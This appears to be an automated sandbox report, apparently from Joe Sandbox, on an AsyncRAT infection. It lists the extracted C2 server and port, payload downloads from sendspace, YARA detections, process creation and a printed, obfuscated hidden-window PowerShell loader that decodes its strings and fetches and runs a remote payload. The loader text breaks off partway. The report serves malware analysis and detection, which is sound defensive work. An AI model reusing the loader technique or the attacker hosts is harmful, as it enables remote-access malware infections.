Source: 0000000A.00000002.3357559154.0000000023691000.00000004.00000800.00020000.00000000.sdmp |
Malware Configuration Extractor: AsyncRAT {"Server": "dhhj.duckdns.org", "Port": "8797", "Version": "0.5.7B", "MutexName": "AsyncMutex_6SI8OkPnk", "Autorun": "false", "Group": "null"} |
Source: unknown |
HTTPS traffic detected: 104.21.28.80:443 -> 192.168.2.6:49699 version: TLS 1.2 |
Source: unknown |
HTTPS traffic detected: 69.31.136.57:443 -> 192.168.2.6:49700 version: TLS 1.2 |
Source: unknown |
HTTPS traffic detected: 104.21.28.80:443 -> 192.168.2.6:49708 version: TLS 1.2 |
Source: unknown |
HTTPS traffic detected: 69.31.136.17:443 -> 192.168.2.6:49709 version: TLS 1.2 |
Source: |
Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb{ source: powershell.exe, 00000006.00000002.2630903523.00000000084F5000.00000004.00000020.00020000.00000000.sdmp |
Source: |
Binary string: ws\Mion.pdb source: powershell.exe, 00000006.00000002.2630903523.00000000084F5000.00000004.00000020.00020000.00000000.sdmp |
Source: |
Binary string: System.Core.pdb source: powershell.exe, 00000006.00000002.2617016962.000000000300F000.00000004.00000020.00020000.00000000.sdmp |
Source: |
Binary string: System.Core.pdbk source: powershell.exe, 00000006.00000002.2617016962.000000000300F000.00000004.00000020.00020000.00000000.sdmp |
Source: Joe Sandbox View |
IP Address: 69.31.136.17 69.31.136.17 |
Source: Joe Sandbox View |
IP Address: 12.202.180.134 12.202.180.134 |
Source: Joe Sandbox View |
IP Address: 104.21.28.80 104.21.28.80 |
Source: Joe Sandbox View |
IP Address: 69.31.136.57 69.31.136.57 |
Source: global traffic |
HTTP traffic detected: GET /pro/dl/w4e2qb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.sendspace.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /dlpro/5990f4102977ad47c8b1158344464586/664f92e4/w4e2qb/Bystoerrelse.fla HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: fs13n2.sendspace.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /pro/dl/6f2c5c HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.sendspace.comCache-Control: no-cache |
Source: global traffic |
HTTP traffic detected: GET /dlpro/2e5b0068e88ecbc579c4ba215340ac1a/664f9316/6f2c5c/JXfZIuRPwNaOvold98.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: fs03n5.sendspace.comConnection: Keep-AliveCookie: SID=8h7tvviacjavkonspru2dnmd45 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: global traffic |
HTTP traffic detected: GET /pro/dl/w4e2qb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.sendspace.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /dlpro/5990f4102977ad47c8b1158344464586/664f92e4/w4e2qb/Bystoerrelse.fla HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: fs13n2.sendspace.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /pro/dl/6f2c5c HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.sendspace.comCache-Control: no-cache |
Source: global traffic |
HTTP traffic detected: GET /dlpro/2e5b0068e88ecbc579c4ba215340ac1a/664f9316/6f2c5c/JXfZIuRPwNaOvold98.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: fs03n5.sendspace.comConnection: Keep-AliveCookie: SID=8h7tvviacjavkonspru2dnmd45 |
Source: global traffic |
DNS traffic detected: DNS query: www.sendspace.com |
Source: global traffic |
DNS traffic detected: DNS query: fs13n2.sendspace.com |
Source: global traffic |
DNS traffic detected: DNS query: fs03n5.sendspace.com |
Source: global traffic |
DNS traffic detected: DNS query: dhhj.duckdns.org |
Source: wab.exe, 0000000A.00000002.3343246570.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabq |
Source: wab.exe, 0000000A.00000002.3343246570.0000000007DA3000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/env |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BC15B1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://fs13n2.sendspace.com |
Source: powershell.exe, 00000003.00000002.2910312975.0000017BCF83F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2621078427.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://nuget.org/NuGet.exe |
Source: powershell.exe, 00000006.00000002.2617612973.0000000004CCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://pesterbdd.com/images/Pester.png |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BBF7D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2617612973.0000000004B71000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000A.00000002.3357559154.0000000023691000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name |
Source: powershell.exe, 00000006.00000002.2617612973.0000000004CCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BC1579000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://www.sendspace.com |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BBF7D1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://aka.ms/pscore68 |
Source: powershell.exe, 00000006.00000002.2617612973.0000000004B71000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://aka.ms/pscore6lB |
Source: powershell.exe, 00000006.00000002.2621078427.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/ |
Source: powershell.exe, 00000006.00000002.2621078427.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/Icon |
Source: powershell.exe, 00000006.00000002.2621078427.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/License |
Source: wab.exe, 0000000A.00000002.3343246570.0000000007D40000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://fs03n5.sendspace.com/ |
Source: wab.exe, 0000000A.00000003.2605230606.0000000007D57000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://fs03n5.sendspace.com/79c4ba215340ac1a/664f9316/6f2c5c/JXfZIuRPwNaOvold98.bin |
Source: wab.exe, 0000000A.00000003.2605230606.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000A.00000003.2613840916.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000A.00000002.3343246570.0000000007D40000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://fs03n5.sendspace.com/dlpro/2e5b0068e88ecbc579c4ba215340ac1a/664f9316/6f2c5c/JXfZIuRPwNaOvold |
Source: wab.exe, 0000000A.00000003.2605230606.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000A.00000003.2613840916.0000000007D57000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://fs03n5.sendspace.com/hf |
Source: wab.exe, 0000000A.00000003.2605230606.0000000007D57000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://fs03n5.sendspace.com/om:443 |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BC159E000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://fs13n2.sendspaX |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BBFC63000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2793992270.0000017BC159E000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://fs13n2.sendspace.com |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BBFC63000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2793992270.0000017BC159A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2793992270.0000017BC159E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2793992270.0000017BBFC5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2793992270.0000017BC1579000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://fs13n2.sendspace.com/dlpro/5990f4102977ad47c8b1158344464586/664f92e4/w4e2qb/Bystoerrelse.fla |
Source: powershell.exe, 00000006.00000002.2617612973.0000000004CCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://github.com/Pester/Pester |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BC0A66000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://go.micro |
Source: powershell.exe, 00000003.00000002.2910312975.0000017BCF83F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2621078427.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://nuget.org/nuget.exe |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BC1091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2793992270.0000017BBF9FD000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://www.sendspace.com |
Source: wab.exe, 0000000A.00000002.3343246570.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://www.sendspace.com/ |
Source: wab.exe, 0000000A.00000002.3343137596.0000000007C40000.00000004.00001000.00020000.00000000.sdmp, wab.exe, 0000000A.00000003.2605230606.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000A.00000002.3343246570.0000000007D23000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000A.00000003.2613840916.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000A.00000003.2605161502.0000000007D50000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://www.sendspace.com/pro/dl/6f2c5c |
Source: powershell.exe, 00000003.00000002.2793992270.0000017BBF9FD000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://www.sendspace.com/pro/dl/w4e2qbP |
Source: powershell.exe, 00000006.00000002.2617612973.0000000004CCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://www.sendspace.com/pro/dl/w4e2qbXR |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49700 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49708 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49699 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49699 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49709 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49700 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49709 |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49708 |
Source: unknown |
HTTPS traffic detected: 104.21.28.80:443 -> 192.168.2.6:49699 version: TLS 1.2 |
Source: unknown |
HTTPS traffic detected: 69.31.136.57:443 -> 192.168.2.6:49700 version: TLS 1.2 |
Source: unknown |
HTTPS traffic detected: 104.21.28.80:443 -> 192.168.2.6:49708 version: TLS 1.2 |
Source: unknown |
HTTPS traffic detected: 69.31.136.17:443 -> 192.168.2.6:49709 version: TLS 1.2 |
Source: amsi32_4324.amsi.csv, type: OTHER |
Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen |
Source: dump.pcap, type: PCAP |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: 0000000A.00000002.3343246570.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: 0000000A.00000002.3357559154.0000000023691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: 0000000A.00000002.3343246570.0000000007DA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: Process Memory Space: powershell.exe PID: 5700, type: MEMORYSTR |
Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen |
Source: Process Memory Space: powershell.exe PID: 4324, type: MEMORYSTR |
Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen |
Source: Process Memory Space: wab.exe PID: 5892, type: MEMORYSTR |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: C:\Windows\System32\cmd.exe |
Process created: Commandline size = 6358 |
|
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process created: Commandline size = 6382 |
|
Source: C:\Windows\System32\cmd.exe |
Process created: Commandline size = 6358 |
Jump to behavior |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process created: Commandline size = 6382 |
Jump to behavior |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Code function: 3_2_00007FFD347EB939 |
3_2_00007FFD347EB939 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Code function: 3_2_00007FFD347EAB89 |
3_2_00007FFD347EAB89 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Code function: 3_2_00007FFD347E64A7 |
3_2_00007FFD347E64A7 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Code function: 3_2_00007FFD347E3DF2 |
3_2_00007FFD347E3DF2 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Code function: 3_2_00007FFD347E427B |
3_2_00007FFD347E427B |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Code function: 3_2_00007FFD348B4049 |
3_2_00007FFD348B4049 |
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Code function: 6_2_04B5E928 |
6_2_04B5E928 |
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Code function: 6_2_04B5F1F8 |
6_2_04B5F1F8 |
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Code function: 6_2_04B5E5E0 |
6_2_04B5E5E0 |
Source: C:\Program Files (x86)\Windows Mail\wab.exe |
Code function: 10_2_023065C0 |
10_2_023065C0 |
Source: C:\Program Files (x86)\Windows Mail\wab.exe |
Code function: 10_2_02305CF0 |
10_2_02305CF0 |
Source: C:\Program Files (x86)\Windows Mail\wab.exe |
Code function: 10_2_0230A7B0 |
10_2_0230A7B0 |
Source: C:\Program Files (x86)\Windows Mail\wab.exe |
Code function: 10_2_023059A8 |
10_2_023059A8 |
Source: amsi32_4324.amsi.csv, type: OTHER |
Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution |
Source: dump.pcap, type: PCAP |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: 0000000A.00000002.3343246570.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: 0000000A.00000002.3357559154.0000000023691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: 0000000A.00000002.3343246570.0000000007DA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: Process Memory Space: powershell.exe PID: 5700, type: MEMORYSTR |
Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution |
Source: Process Memory Space: powershell.exe PID: 4324, type: MEMORYSTR |
Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution |
Source: Process Memory Space: wab.exe PID: 5892, type: MEMORYSTR |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: C:\Program Files (x86)\Windows Mail\wab.exe |
Mutant created: NULL |
Source: C:\Windows\System32\conhost.exe |
Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2752:120:WilError_03 |
Source: C:\Program Files (x86)\Windows Mail\wab.exe |
Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk |
Source: C:\Windows\System32\conhost.exe |
Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3360:120:WilError_03 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5700 |
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=4324 |
Source: unknown |
Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\xff.cmd" " |
|
Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
|
Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Lassoing = 1;$Rasophore='Sub';$Rasophore+='strin';$Rasophore+='g';Function Ugedagens($Outdure){$Frys=$Outdure.Length-$Lassoing;For($Interproducing=5;$Interproducing -lt $Frys;$Interproducing+=6){$Unlecherous+=$Outdure.$Rasophore.Invoke( $Interproducing, $Lassoing);}$Unlecherous;}function Semuljegrynets($Barbarized){. ($adenoncus) ($Barbarized);}$Currycombing=Ugedagens 'ChronM,jerno istnzDes ei .rdmlSanktlW lliaLevul/Outca5Averr..eman0Uforl Ort,g(HandlWSendei Precn,niffd,edeoo Bor wDioxas W,gg Ko,svNCrossTInope Overl1 indr0Klamm.Op.ak0Mavel;Instr Ro ndWnonfaiBeg.enFlygt6Totaq4Lufth;Bo.ti RadixFylgj6 G.nn4Tachy;ha ss Ek.pr Sy.ev lndi: iece1Tilst2J ntj1Pisto.Antid0Bavn.)Plant oraGKibose,odlicRe,ulk,verfoFli o/Succu2N.ntr0Pulve1hj.ej0Forfa0ubeta1 Ekst0 Fort1Fl,pp LeddFRebediTorskrselvgehumatf,robyoBarvexSkjo /Dress1,ydro2urtid1 cent.Begal0Opera ';$Huaco=Ugedagens ' Zo,lUSkaloskrnereRe rorDema,-StormAEmpreg DisseLandsnMartetM tap ';$Fluernes=Ugedagens 'Serv hCathatUna tt Su,ephe,ges cevi:Du,le/Sil,n/ApprewDiletwA,vaewPlkke. Milis La,reFarmanLadeddCrystsNonh.pEje.ta NivecCurn.eHande.MaadgcCicerochalomAston/Anen,pV.rmtrLyzetoAr,th/IodocdLinielKom.e/AfskewMulti4HomebeEtabl2Preenq Udadb K.st ';$Astrographer=Ugedagens 'Homol>Fossi ';$adenoncus=Ugedagens 'Afmnsi ExhoeSv,nfxInku. ';$Minussernes='Olieraffinaderiets';$Omskrivelses = Ugedagens ' V,rde oplacPopl,hFi ucoBronc Svog%B.lthaKiropp Svamp De,adOut aaU,trytTorrea,push%Shodd\SyndeBS.mshe,aksevSmileoSmalngAlumitUnderePolemsDeam,1Cervi4Dispe0Quadr. Me,lO Sv tuintegtAnt.s V,let&St,ll&Canto For.oeOmlydcStuddhFaktuoAmts OrdretDire. ';Semuljegrynets (Ugedagens 'Re,et$ lectg DirelOrthooS rapb TranaSequelSmerg:StillARe.idpAssaypv.rdelBlreraFol.euPlinksNeuroeM tenr Expls ode=Ka.ao( HardcUn elmPhagodGasco Nonre/Girl,clikvi Jordr$UndskOMaku mPantos Bli k Mor.rretsbi ForsvCharleH,athlAsylssDistieosteosTante)Udski ');Semuljegrynets (Ugedagens 'Netts$ C.okgelevtlSkeigoMisemb elveaRegovlFa,il:littoF pr.moExpanr S brvCons,aBesk.yKandi= Subp$ HopoFBjrgilInteguTapp,eToothr.pegenImpe.eTegnes Hyst.Bes as,igtipfungulS,andi U jetDok m(Punkt$RespeA Kr.dsAdnottG,derrS,mmeoZuluegBrom,rs.ranaEfterpKonflh fhne.umphrRling) .nsl ');$Fluernes=$Forvay[0];$Underabyss= (Ugedagens 'Bogka$rygergRugerlUdsmyoOffe bAcridaSkftelSkift:VegetF Ga eeS.rigepressrBlodsi Em ee Tetr= N.nrN Dybte Te, |